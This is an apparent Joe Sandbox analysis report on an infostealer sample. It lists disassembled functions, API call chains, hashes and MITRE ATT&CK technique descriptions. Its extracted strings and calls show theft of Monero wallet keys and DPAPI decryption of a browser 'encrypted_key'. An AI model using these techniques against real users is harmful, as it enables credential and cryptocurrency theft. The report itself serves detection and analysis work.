Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7c9edd23d3594b96ac23d06ad67a1a071f37a7bd60aa0871cf324b730752156c
Instruction ID: 651b1dae39db0cfcba11b98ed1010d876fde0cdffccabd7c889909727fc79729
Opcode Fuzzy Hash: 7c9edd23d3594b96ac23d06ad67a1a071f37a7bd60aa0871cf324b730752156c
Instruction Fuzzy Hash: F591D873920118ABDF04FBA8DD96EEE7338EF14304F504169F516A6091EF346A09DBB6

Function 00D8D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D98B60: GetSystemTime.KERNEL32(00DA0E1A,0182A480,00DA05AE,?,?,00D813F9,?,0000001A,00DA0E1A,00000000,?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D98B86

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D8D801
lstrlen.KERNEL32(00000000), ref: 00D8D99F
lstrlen.KERNEL32(00000000), ref: 00D8D9B3
DeleteFileA.KERNEL32(00000000), ref: 00D8DA32

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 16b07078e27d77f5f72987aa9dced1a1f4f6a30e2db2d16c9a782aa6f726eedd
Instruction ID: fc5bf7356231f4abc5c9edc2a736f15daa44cacd9161d384a6094f77e1db9792
Opcode Fuzzy Hash: 16b07078e27d77f5f72987aa9dced1a1f4f6a30e2db2d16c9a782aa6f726eedd
Instruction Fuzzy Hash: 7181D873920118ABDF04FBA8DD96EEE7339EF14304F504569F506A6091EE346A09DBB2

Function 00D8F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D899EC
Part of subcall function 00D899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D89A11
Part of subcall function 00D899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D89A31
Part of subcall function 00D899C0: ReadFile.KERNEL32(000000FF,?,00000000,00D8148F,00000000), ref: 00D89A5A
Part of subcall function 00D899C0: LocalFree.KERNEL32(00D8148F), ref: 00D89A90
Part of subcall function 00D899C0: CloseHandle.KERNEL32(000000FF), ref: 00D89A9A

Part of subcall function 00D98E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D98E52

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00DA1580,00DA0D92), ref: 00D8F54C
lstrlen.KERNEL32(00000000), ref: 00D8F56B

Strings

^userContextId=4294967295, xrefs: 00D8F59C
moz-extension+++, xrefs: 00D8F5AD

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: dd8b1754abc915fe849e947725eea5c72419c6bcc44f158fc055fc291dc0d6bd
Instruction ID: dc544afe6fe8a25f2b265e7f76d8ab8bf525a8a413004b39aea227b9c42ee7df
Opcode Fuzzy Hash: dd8b1754abc915fe849e947725eea5c72419c6bcc44f158fc055fc291dc0d6bd
Instruction Fuzzy Hash: 0F51DB76D10118AADF04FBA8DC96DED7779EF54300F408529F816A7191EE346A09CBF2

Function 00D93560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: bca8c77dbcf9041a32af979cc495edae95b34f80e943e314189b1f9921472068
Instruction ID: d1c19d065b306d9393c8fb7b6621d72cd92a7cd016aaaae3d550d79ba2408e63
Opcode Fuzzy Hash: bca8c77dbcf9041a32af979cc495edae95b34f80e943e314189b1f9921472068
Instruction Fuzzy Hash: 4E41FB72D10109AFCF04EFE8D946AEEB7B4EF54704F148418E51676290DB75AA09CBB2

Function 00D89CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D899EC
Part of subcall function 00D899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D89A11
Part of subcall function 00D899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D89A31
Part of subcall function 00D899C0: ReadFile.KERNEL32(000000FF,?,00000000,00D8148F,00000000), ref: 00D89A5A
Part of subcall function 00D899C0: LocalFree.KERNEL32(00D8148F), ref: 00D89A90
Part of subcall function 00D899C0: CloseHandle.KERNEL32(000000FF), ref: 00D89A9A

Part of subcall function 00D98E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D98E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00D89D39

Part of subcall function 00D89AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D84EEE,00000000,00000000), ref: 00D89AEF
Part of subcall function 00D89AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00D84EEE,00000000,?), ref: 00D89B01
Part of subcall function 00D89AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D84EEE,00000000,00000000), ref: 00D89B2A
Part of subcall function 00D89AC0: LocalFree.KERNEL32(?,?,?,?,00D84EEE,00000000,?), ref: 00D89B3F

Part of subcall function 00D89B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D89B84
Part of subcall function 00D89B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00D89BA3
Part of subcall function 00D89B60: LocalFree.KERNEL32(?), ref: 00D89BD3

Strings

DPAPI, xrefs: 00D89D89
"encrypted_key":", xrefs: 00D89D30
, xrefs: 00D89DC1

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: d97be5f81a7d3d7b601ee21ba12cd0a32a601c606da4cc74234ad40a65eadfa3
Instruction ID: 6657c0c788a701ea204e653f586d4613190a4b8dfc03a602dcac52304a65a7d9
Opcode Fuzzy Hash: d97be5f81a7d3d7b601ee21ba12cd0a32a601c606da4cc74234ad40a65eadfa3
Instruction Fuzzy Hash: 563110B6D10109ABCF04EBE4DC96AFEB7B8EF48304F184519E905A7241E7359A04CBB5

Function 00D992E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00D93AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00D93AEE,?), ref: 00D992FC
GetFileSizeEx.KERNEL32(000000FF,00D93AEE), ref: 00D99319
CloseHandle.KERNEL32(000000FF), ref: 00D99327

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 4fa365345c519b41e9a32d15893273d87561420d8a75cf53ff4e5a690e5ab984
Instruction ID: da0d5b44ee633cbf8cffad01040d67c50dc3b670ffe6109656544c9f5c5ae8e7
Opcode Fuzzy Hash: 4fa365345c519b41e9a32d15893273d87561420d8a75cf53ff4e5a690e5ab984
Instruction Fuzzy Hash: 98F03775E4020CFBDF10DFB4DD5AF9EB7B9AB48720F108258BA51A72C4D670AA019B60

Function 00D9C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00D9C74E

Part of subcall function 00D9BF9F: __amsg_exit.LIBCMT ref: 00D9BFAF

__getptd.LIBCMT ref: 00D9C765
__amsg_exit.LIBCMT ref: 00D9C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00D9C797

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: a34b9b714686bdd41bcc5e074eeb04c9583d152bb8bc3bc2e64ea9e2bdf55ed7
Instruction ID: b8bd0a2c035b757eb4767598088705e377da1cf5dc35ce3311fa95c9dcc410db
Opcode Fuzzy Hash: a34b9b714686bdd41bcc5e074eeb04c9583d152bb8bc3bc2e64ea9e2bdf55ed7
Instruction Fuzzy Hash: FAF09A32E107009BDF20BFF8A946B5A33A0EF00731F25524AF404A62D2DB7459419EB6

Function 00D94F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D98DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D98E0B

lstrcat.KERNEL32(?,00000000), ref: 00D94F7A
lstrcat.KERNEL32(?,00DA1070), ref: 00D94F97
lstrcat.KERNEL32(?,01829168), ref: 00D94FAB
lstrcat.KERNEL32(?,00DA1074), ref: 00D94FBD

Part of subcall function 00D94910: wsprintfA.USER32 ref: 00D9492C
Part of subcall function 00D94910: FindFirstFileA.KERNEL32(?,?), ref: 00D94943

Part of subcall function 00D94910: StrCmpCA.SHLWAPI(?,00DA0FDC), ref: 00D94971
Part of subcall function 00D94910: StrCmpCA.SHLWAPI(?,00DA0FE0), ref: 00D94987
Part of subcall function 00D94910: FindNextFileA.KERNEL32(000000FF,?), ref: 00D94B7D
Part of subcall function 00D94910: FindClose.KERNEL32(000000FF), ref: 00D94B92

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 74fb9b603ec8fa7f470e13cea57d6fdf91becf8a118677f3316009954efc53c0
Instruction ID: a2572b19c47a3694cdd6e3b37c52b6c73febd08909bd0ed14238e4a04d448b09
Opcode Fuzzy Hash: 74fb9b603ec8fa7f470e13cea57d6fdf91becf8a118677f3316009954efc53c0
Instruction Fuzzy Hash: BF21887A90020C6BCB54F7B0ED47EE9333CEB55704F004558B65993181EE75A6CD9BB2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

